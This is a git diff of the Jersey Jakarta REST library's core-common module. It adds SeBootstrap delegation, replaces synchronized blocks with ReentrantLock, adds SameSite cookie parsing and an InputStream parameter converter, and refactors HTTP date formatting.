@@ -19,16 +19,20 @@
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.spi.HeaderDelegateProvider;
 
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.Link;
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.core.UriBuilder;
 import jakarta.ws.rs.core.Variant;
 import jakarta.ws.rs.ext.RuntimeDelegate;
+
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CompletionStage;
 
 /**
  * RuntimeDelegate Decorator that changes behaviour due to provided runtime information.
@@ -102,6 +106,27 @@
             return runtimeDelegate.createLinkBuilder();
         }
 
+        @Override
+        public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+            return runtimeDelegate.createConfigurationBuilder();
+        }
+
+        @Override
+        public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+            return runtimeDelegate.bootstrap(application, configuration);
+        }
+
+        @Override
+        public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass,
+                                                               SeBootstrap.Configuration configuration) {
+            return runtimeDelegate.bootstrap(applicationClass, configuration);
+        }
+
+        @Override
+        public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException {
+            return runtimeDelegate.createEntityPartBuilder(partName);
+        }
+
         private <T> HeaderDelegate<T> _createHeaderDelegate(final Class<T> type) {
             for (final HeaderDelegateProvider hp : headerDelegateProviders) {
                 if (hp.supports(type)) {
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
index 88d1826..db16be8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
@@ -16,11 +16,16 @@
 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 
+import java.util.Optional;
+import java.util.concurrent.CompletionStage;
+
 /**
  * Default implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}.
  * The {@link jakarta.ws.rs.ext.RuntimeDelegate} class looks for the implementations registered
@@ -42,14 +47,50 @@
     public <T> T createEndpoint(Application application, Class<T> endpointType)
             throws IllegalArgumentException, UnsupportedOperationException {
 
-        // TODO : Do we need multiple RuntimeDelegates?
+        final RuntimeDelegate runtimeDelegate = findServerDelegate();
+        if (runtimeDelegate != null) {
+            return runtimeDelegate.createEndpoint(application, endpointType);
+        }
+        throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+    }
+
+    @Override
+    public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+        final RuntimeDelegate runtimeDelegate = findServerDelegate();
+        if (runtimeDelegate != null) {
+            return runtimeDelegate.createConfigurationBuilder();
+        }
+        throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+        final RuntimeDelegate runtimeDelegate = findServerDelegate();
+        if (runtimeDelegate != null) {
+            return runtimeDelegate.bootstrap(application, configuration);
+        }
+        throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass,
+                                                           SeBootstrap.Configuration configuration) {
+        final RuntimeDelegate runtimeDelegate = findServerDelegate();
+        if (runtimeDelegate != null) {
+            return runtimeDelegate.bootstrap(applicationClass, configuration);
+        }
+        throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+    }
+
+    // TODO : Do we need multiple RuntimeDelegates?
+    private RuntimeDelegate findServerDelegate() {
         for (RuntimeDelegate delegate : ServiceFinder.find(RuntimeDelegate.class)) {
             // try to find runtime delegate from core-server
             if (delegate.getClass() != RuntimeDelegateImpl.class) {
                 RuntimeDelegate.setInstance(delegate);
-                return delegate.createEndpoint(application, endpointType);
+                return delegate;
             }
         }
-        throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+        return null;
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
index 46184d8..03d15d3 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,6 +33,8 @@
 import java.util.NoSuchElementException;
 import java.util.Set;
 import java.util.TreeSet;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
@@ -797,17 +799,20 @@
     public abstract static class ServiceIteratorProvider {
 
         private static volatile ServiceIteratorProvider sip;
-        private static final Object sipLock = new Object();
+        private static final Lock sipLock = new ReentrantLock();
 
         private static ServiceIteratorProvider getInstance() {
             // TODO: check the following is a good practice: Double-check idiom for lazy initialization of fields.
             ServiceIteratorProvider result = sip;
             if (result == null) { // First check (no locking)
-                synchronized (sipLock) {
+                sipLock.lock();
+                try {
                     result = sip;
                     if (result == null) { // Second check (with locking)
                         sip = result = new DefaultServiceIteratorProvider();
                     }
+                } finally {
+                    sipLock.unlock();
                 }
             }
             return result;
@@ -819,8 +824,11 @@
                 final ReflectPermission rp = new ReflectPermission("suppressAccessChecks");
                 security.checkPermission(rp);
             }
-            synchronized (sipLock) {
+            sipLock.lock();
+            try {
                 ServiceIteratorProvider.sip = sip;
+            } finally {
+                sipLock.unlock();
             }
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
index 78a628d..a42a860 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
@@ -33,6 +33,7 @@
             "org.glassfish.jersey.helidon.connector.HelidonClientProperties",
             "org.glassfish.jersey.jdk.connector.JdkConnectorProperties",
             "org.glassfish.jersey.jetty.connector.JettyClientProperties",
+            "org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties",
             "org.glassfish.jersey.netty.connector.NettyClientProperties",
             "org.glassfish.jersey.media.multipart.MultiPartProperties",
             "org.glassfish.jersey.server.oauth1.OAuth1ServerProperties");
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
index 13a4baf..23b127a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
@@ -86,7 +86,7 @@
     }
     @Override
     public <T> Optional<T> getOptionalProperty(String name, Class<T> clazz) {
-        return Optional.of(as(name, clazz));
+        return Optional.ofNullable(as(name, clazz));
     }
 
     @Override
@@ -230,9 +230,4 @@
     public Set<Object> getInstances() {
         return null;
     }
-
-    // Jersey 2.x
-    private boolean hasProperty(String name) {
-        return getProperty(name) != null;
-    }
 }
\ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
index 7b83560..aafb278 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
@@ -17,11 +17,15 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
 import java.security.AccessController;
 import java.text.ParseException;
 import java.util.Date;
@@ -300,6 +304,39 @@
     }
 
     /**
+     * Provider of {@link ParamConverter param converter} that convert the supplied string into a Java
+     * {@link InputStream} instance.
+     */
+    public static class InputStreamProvider implements ParamConverterProvider {
+
+        @Override
+        public <T> ParamConverter<T> getConverter(Class<T> rawType, Type genericType, Annotation[] annotations) {
+            return rawType != InputStream.class ? null : new ParamConverter<T>() {
+
+                @Override
+                public T fromString(String value) {
+                    if (value == null) {
+                        throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value"));
+                    }
+                    return rawType.cast(new ByteArrayInputStream(value.getBytes(StandardCharsets.UTF_8)));
+                }
+
+                @Override
+                public String toString(T value) {
+                    if (value == null) {
+                        throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value"));
+                    }
+                    try {
+                        return new String(((InputStream) value).readAllBytes());
+                    } catch (IOException ioe) {
+                        throw new ExtractorException(ioe);
+                    }
+                }
+            };
+        }
+    }
+
+    /**
      * Provider of {@link ParamConverter param converter} that produce the Optional instance
      * by invoking {@link ParamConverterProvider}.
      */
@@ -468,6 +505,7 @@
                     new TypeFromStringEnum(canThrowNull),
                     new TypeValueOf(canThrowNull),
                     new CharacterProvider(canThrowNull),
+                    new InputStreamProvider(),
                     new TypeFromString(canThrowNull),
                     new StringConstructor(canThrowNull),
                     new OptionalCustomProvider(manager, canThrowNull),
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
similarity index 100%
rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java
rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
index 4761644..5c3a747 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,9 @@
 
 package org.glassfish.jersey.internal.util.collection;
 
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
 /**
  * A collection of {@link Value Value provider} factory & utility methods.
  *
@@ -297,25 +300,28 @@
 
     private static class LazyValueImpl<T> implements LazyValue<T> {
 
-        private final Object lock;
+        private final Lock lock;
         private final Value<T> delegate;
 
         private volatile Value<T> value;
 
         public LazyValueImpl(final Value<T> delegate) {
             this.delegate = delegate;
-            this.lock = new Object();
+            this.lock = new ReentrantLock();
         }
 
         @Override
         public T get() {
             Value<T> result = value;
             if (result == null) {
-                synchronized (lock) {
+                lock.lock();
+                try {
                     result = value;
                     if (result == null) {
                         value = result = Values.of(delegate.get());
                     }
+                } finally {
+                    lock.unlock();
                 }
             }
             return result.get();
@@ -380,21 +386,22 @@
 
     private static class LazyUnsafeValueImpl<T, E extends Throwable> implements LazyUnsafeValue<T, E> {
 
-        private final Object lock;
+        private final Lock lock;
         private final UnsafeValue<T, E> delegate;
 
         private volatile UnsafeValue<T, E> value;
 
         public LazyUnsafeValueImpl(final UnsafeValue<T, E> delegate) {
             this.delegate = delegate;
-            this.lock = new Object();
+            this.lock = new ReentrantLock();
         }
 
         @Override
         public T get() throws E {
             UnsafeValue<T, E> result = value;
             if (result == null) {
-                synchronized (lock) {
+                lock.lock();
+                try {
                     result = value;
                     //noinspection ConstantConditions
                     if (result == null) {
@@ -406,6 +413,8 @@
                         }
                         value = result;
                     }
+                } finally {
+                    lock.unlock();
                 }
             }
             return result.get();
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
index f7e2673..466eaaa 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
@@ -46,7 +46,7 @@
      *
      * @deprecated use {@code StandardCharsets.UTF_8} instead.
      */
-    @Deprecated
+    @Deprecated(forRemoval = true)
     public static final Charset UTF8 = StandardCharsets.UTF_8;
 
     /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
index 05e77cb..e9f1bc2 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
@@ -65,7 +65,7 @@
      * Null stream provider.
      */
     private static final OutboundMessageContext.StreamProvider NULL_STREAM_PROVIDER =
-            contentLength -> new NullOutputStream();
+            contentLength -> OutputStream.nullOutputStream();
     /**
      * Default size of the buffer which will be used if no user defined size is specified.
      */
@@ -173,7 +173,7 @@
             Preconditions.checkState(streamProvider != null, STREAM_PROVIDER_NULL);
             adaptedOutput = streamProvider.getOutputStream(currentSize);
             if (adaptedOutput == null) {
-                adaptedOutput = new NullOutputStream();
+                adaptedOutput = OutputStream.nullOutputStream();
             }
 
             directWrite = true;
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
index f8bec0a..14a008d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -120,6 +120,7 @@
         boolean secure = false;
         boolean httpOnly = false;
         Date expiry = null;
+        NewCookie.SameSite sameSite = null;
 
         public MutableNewCookie(String name, String value) {
             this.name = name;
@@ -127,7 +128,7 @@
         }
 
         public NewCookie getImmutableNewCookie() {
-            return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly);
+            return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly, sameSite);
         }
     }
 
@@ -163,9 +164,11 @@
                     cookie.version = Integer.parseInt(value);
                 } else if (param.startsWith("httponly")) {
                     cookie.httpOnly = true;
+                } else if (param.startsWith("samesite")) {
+                    cookie.sameSite = NewCookie.SameSite.valueOf(value.toUpperCase());
                 }  else if (param.startsWith("expires")) {
                     try {
-                        cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i]);
+                        cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i].trim());
                     } catch (ParseException e) {
                         LOGGER.log(Level.FINE, LocalizationMessages.ERROR_NEWCOOKIE_EXPIRES(value), e);
                     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
index 09e7553..8417fb5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,7 +43,7 @@
     @Override
     public String toString(final Date header) {
         throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.DATE_IS_NULL());
-        return HttpDateFormat.getPreferredDateFormat().format(header);
+        return HttpDateFormat.getPreferredDateFormatter().format(header);
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
index 75479e6..9cf2abf 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,12 +18,18 @@
 
 import java.text.ParseException;
 import java.text.SimpleDateFormat;
+import java.time.Instant;
+import java.time.LocalDateTime;
+import java.time.format.DateTimeFormatter;
+import java.time.format.DateTimeParseException;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.List;
 import java.util.Locale;
+import java.util.Queue;
 import java.util.TimeZone;
+import java.util.concurrent.ConcurrentLinkedQueue;
 
 /**
  * Helper class for HTTP specified date formats.
@@ -33,6 +39,46 @@
  */
 public final class HttpDateFormat {
 
+    private static final boolean USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER = true;
+
+    /**
+     * <p>
+     *     A minimum formatter for converting java {@link Date} and {@link LocalDateTime} to {@code String} and vice-versa.
+     * </p>
+     * <p>
+     *     Works as a facade for implementation backed by {@link SimpleDateFormat} and {@link DateTimeFormatter}.
+     * </p>
+     */
+    public static interface HttpDateFormatter {
+        /**
+         *
+         * @param date
+         * @return
+         */
+        Date toDate(String date);
+
+        /**
+         *
+         * @param date
+         * @return
+         */
+        LocalDateTime toDateTime(String date);
+        /**
+         * Formats a {@link Date} into a date-time string.
+         *
+         * @param date the time value to be formatted into a date-time string.
+         * @return the formatted date-time string.
+         */
+        String format(Date date);
+        /**
+         * Formats a {@link LocalDateTime} into a date-time string.
+         *
+         * @param dateTime the time value to be formatted into a date-time string.
+         * @return the formatted date-time string.
+         */
+        String format(LocalDateTime dateTime);
+    }
+
     private HttpDateFormat() {
     }
     /**
@@ -50,39 +96,40 @@
 
     private static final TimeZone GMT_TIME_ZONE = TimeZone.getTimeZone("GMT");
 
-    private static final ThreadLocal<List<SimpleDateFormat>> dateFormats = new ThreadLocal<List<SimpleDateFormat>>() {
+    private static final List<HttpDateFormatter> dateFormats = createDateFormats();
+    private static final Queue<List<HttpDateFormatter>> simpleDateFormats = new ConcurrentLinkedQueue<>();
 
-        @Override
-        protected synchronized List<SimpleDateFormat> initialValue() {
-            return createDateFormats();
-        }
-    };
-
-    private static List<SimpleDateFormat> createDateFormats() {
-        final SimpleDateFormat[] formats = new SimpleDateFormat[]{
-            new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US),
-            new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US),
-            new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US)
+    private static List<HttpDateFormatter> createDateFormats() {
+        final HttpDateFormatter[] formats = new HttpDateFormatter[]{
+                new HttpDateFormatterFromDateTimeFormatter(
+                        DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())),
+                new HttpDateFormatterFromDateTimeFormatter(
+                        DateTimeFormatter.ofPattern(RFC1123_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US)
+                                .withZone(GMT_TIME_ZONE.toZoneId())),
+                new HttpDateFormatterFromDateTimeFormatter(
+                        DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN, Locale.US).withZone(GMT_TIME_ZONE.toZoneId())),
+                new HttpDateFormatterFromDateTimeFormatter(
+                        DateTimeFormatter.ofPattern(RFC1036_DATE_FORMAT_PATTERN.replace("zzz", "ZZZ"), Locale.US)
+                                .withZone(GMT_TIME_ZONE.toZoneId())),
+                new HttpDateFormatterFromDateTimeFormatter(
+                        DateTimeFormatter.ofPattern(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US)
+                                .withZone(GMT_TIME_ZONE.toZoneId()))
         };
-        formats[0].setTimeZone(GMT_TIME_ZONE);
-        formats[1].setTimeZone(GMT_TIME_ZONE);
-        formats[2].setTimeZone(GMT_TIME_ZONE);
 
         return Collections.unmodifiableList(Arrays.asList(formats));
     }
 
-    /**
-     * Return an unmodifiable list of HTTP specified date formats to use for
-     * parsing or formatting {@link Date}.
-     * <p>
-     * The list of date formats are scoped to the current thread and may be
-     * used without requiring to synchronize access to the instances when
-     * parsing or formatting.
-     *
-     * @return the list of data formats.
-     */
-    private static List<SimpleDateFormat> getDateFormats() {
-        return dateFormats.get();
+    private static List<HttpDateFormatter> createSimpleDateFormats() {
+        final HttpDateFormatterFromSimpleDateTimeFormat[] formats = new HttpDateFormatterFromSimpleDateTimeFormat[]{
+                new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1123_DATE_FORMAT_PATTERN, Locale.US)),
+                new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(RFC1036_DATE_FORMAT_PATTERN, Locale.US)),
+                new HttpDateFormatterFromSimpleDateTimeFormat(new SimpleDateFormat(ANSI_C_ASCTIME_DATE_FORMAT_PATTERN, Locale.US))
+        };
+        formats[0].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+        formats[1].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+        formats[2].simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+
+        return Collections.unmodifiableList(Arrays.asList(formats));
     }
 
     /**
@@ -94,9 +141,44 @@
      *
      * @return the preferred of data format.
      */
+    public static HttpDateFormatter getPreferredDateFormatter() {
+        if (USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER) {
+            List<HttpDateFormatter> list = simpleDateFormats.poll();
+            if (list == null) {
+                list = createSimpleDateFormats();
+            }
+            // returns clone because calling SDF.parse(...) can change time zone
+            final SimpleDateFormat sdf = (SimpleDateFormat)
+                    ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone();
+            simpleDateFormats.add(list);
+            return new HttpDateFormatterFromSimpleDateTimeFormat(sdf);
+        } else {
+            return dateFormats.get(0);
+        }
+    }
+
+    /**
+     * Get the preferred HTTP specified date format (RFC 1123).
+     * <p>
+     * The date format is scoped to the current thread and may be
+     * used without requiring to synchronize access to the instance when
+     * parsing or formatting.
+     *
+     * @return the preferred of data format.
+     * @deprecated Use getPreferredDateFormatter instead
+     */
+    // Unused in Jersey
+    @Deprecated(forRemoval = true)
     public static SimpleDateFormat getPreferredDateFormat() {
+        List<HttpDateFormatter> list = simpleDateFormats.poll();
+        if (list == null) {
+            list = createSimpleDateFormats();
+        }
         // returns clone because calling SDF.parse(...) can change time zone
-        return (SimpleDateFormat) dateFormats.get().get(0).clone();
+        final SimpleDateFormat sdf = (SimpleDateFormat)
+                ((HttpDateFormatterFromSimpleDateTimeFormat) list.get(0)).simpleDateFormat.clone();
+        simpleDateFormats.add(list);
+        return sdf;
     }
 
     /**
@@ -108,18 +190,106 @@
      * @throws java.text.ParseException in case the date string cannot be parsed.
      */
     public static Date readDate(final String date) throws ParseException {
-        ParseException pe = null;
-        for (final SimpleDateFormat f : HttpDateFormat.getDateFormats()) {
+        return USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER
+                ? readDateSDF(date)
+                : readDateDTF(date);
+    }
+
+    private static Date readDateDTF(final String date) throws ParseException {
+        final List<HttpDateFormatter> list = dateFormats;
+        return readDate(date, list);
+    }
+
+    private static Date readDateSDF(final String date) throws ParseException {
+        List<HttpDateFormatter> list = simpleDateFormats.poll();
+        if (list == null) {
+            list = createSimpleDateFormats();
+        }
+        final Date ret = readDate(date, list);
+        simpleDateFormats.add(list);
+        return ret;
+    }
+
+    private static Date readDate(final String date, List<HttpDateFormatter> formatters) throws ParseException {
+        Exception pe = null;
+        for (final HttpDateFormatter f : formatters) {
             try {
-                Date result = f.parse(date);
-                // parse can change time zone -> set it back to GMT
-                f.setTimeZone(GMT_TIME_ZONE);
-                return result;
-            } catch (final ParseException e) {
+                return f.toDate(date);
+            } catch (final Exception e) {
                 pe = (pe == null) ? e : pe;
             }
         }
 
-        throw pe;
+        throw ParseException.class.isInstance(pe) ? (ParseException) pe
+                : new ParseException(pe.getMessage(),
+                DateTimeParseException.class.isInstance(pe) ? ((DateTimeParseException) pe).getErrorIndex() : 0);
+    }
+
+    /**
+     * Warning! DateTimeFormatter is incompatible with SimpleDateFormat for two digits year, since SimpleDateFormat uses
+     * 80 years before now and 20 years after, whereas DateTimeFormatter uses years starting with 2000.
+     */
+    private static class HttpDateFormatterFromDateTimeFormatter implements HttpDateFormatter {
+        private final DateTimeFormatter dateTimeFormatter;
+
+        private HttpDateFormatterFromDateTimeFormatter(DateTimeFormatter dateTimeFormatter) {
+            this.dateTimeFormatter = dateTimeFormatter;
+        }
+
+        @Override
+        public Date toDate(String date) {
+            return new Date(Instant.from(dateTimeFormatter.parse(date)).toEpochMilli());
+        }
+
+        @Override
+        public LocalDateTime toDateTime(String date) {
+            return Instant.from(dateTimeFormatter.parse(date)).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime();
+        }
+
+        @Override
+        public String format(Date date) {
+            return dateTimeFormatter.format(date.toInstant());
+        }
+
+        @Override
+        public String format(LocalDateTime dateTime) {
+            return dateTimeFormatter.format(dateTime);
+        }
+    }
+
+    private static class HttpDateFormatterFromSimpleDateTimeFormat implements HttpDateFormatter {
+        private final SimpleDateFormat simpleDateFormat;
+
+        private HttpDateFormatterFromSimpleDateTimeFormat(SimpleDateFormat simpleDateFormat) {
+            this.simpleDateFormat = simpleDateFormat;
+        }
+
+        @Override
+        public Date toDate(String date) {
+            final Date result;
+            try {
+                result = simpleDateFormat.parse(date);
+            } catch (ParseException e) {
+                throw new RuntimeException(e);
+            }
+            // parse can change time zone -> set it back to GMT
+            simpleDateFormat.setTimeZone(GMT_TIME_ZONE);
+            return result;
+        }
+
+        @Override
+        public LocalDateTime toDateTime(String date) {
+            return Instant.from(toDate(date).toInstant()).atZone(GMT_TIME_ZONE.toZoneId()).toLocalDateTime();
+        }
+
+        @Override
+        public String format(Date date) {
+            return simpleDateFormat.format(date);
+        }
+
+        @Override
+        public String format(LocalDateTime dateTime) {
+            return simpleDateFormat.format(Date.from(dateTime.atZone(GMT_TIME_ZONE.toZoneId()).toInstant()));
+        }
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
index fe5a249..62df83f 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpHeaderReader.java
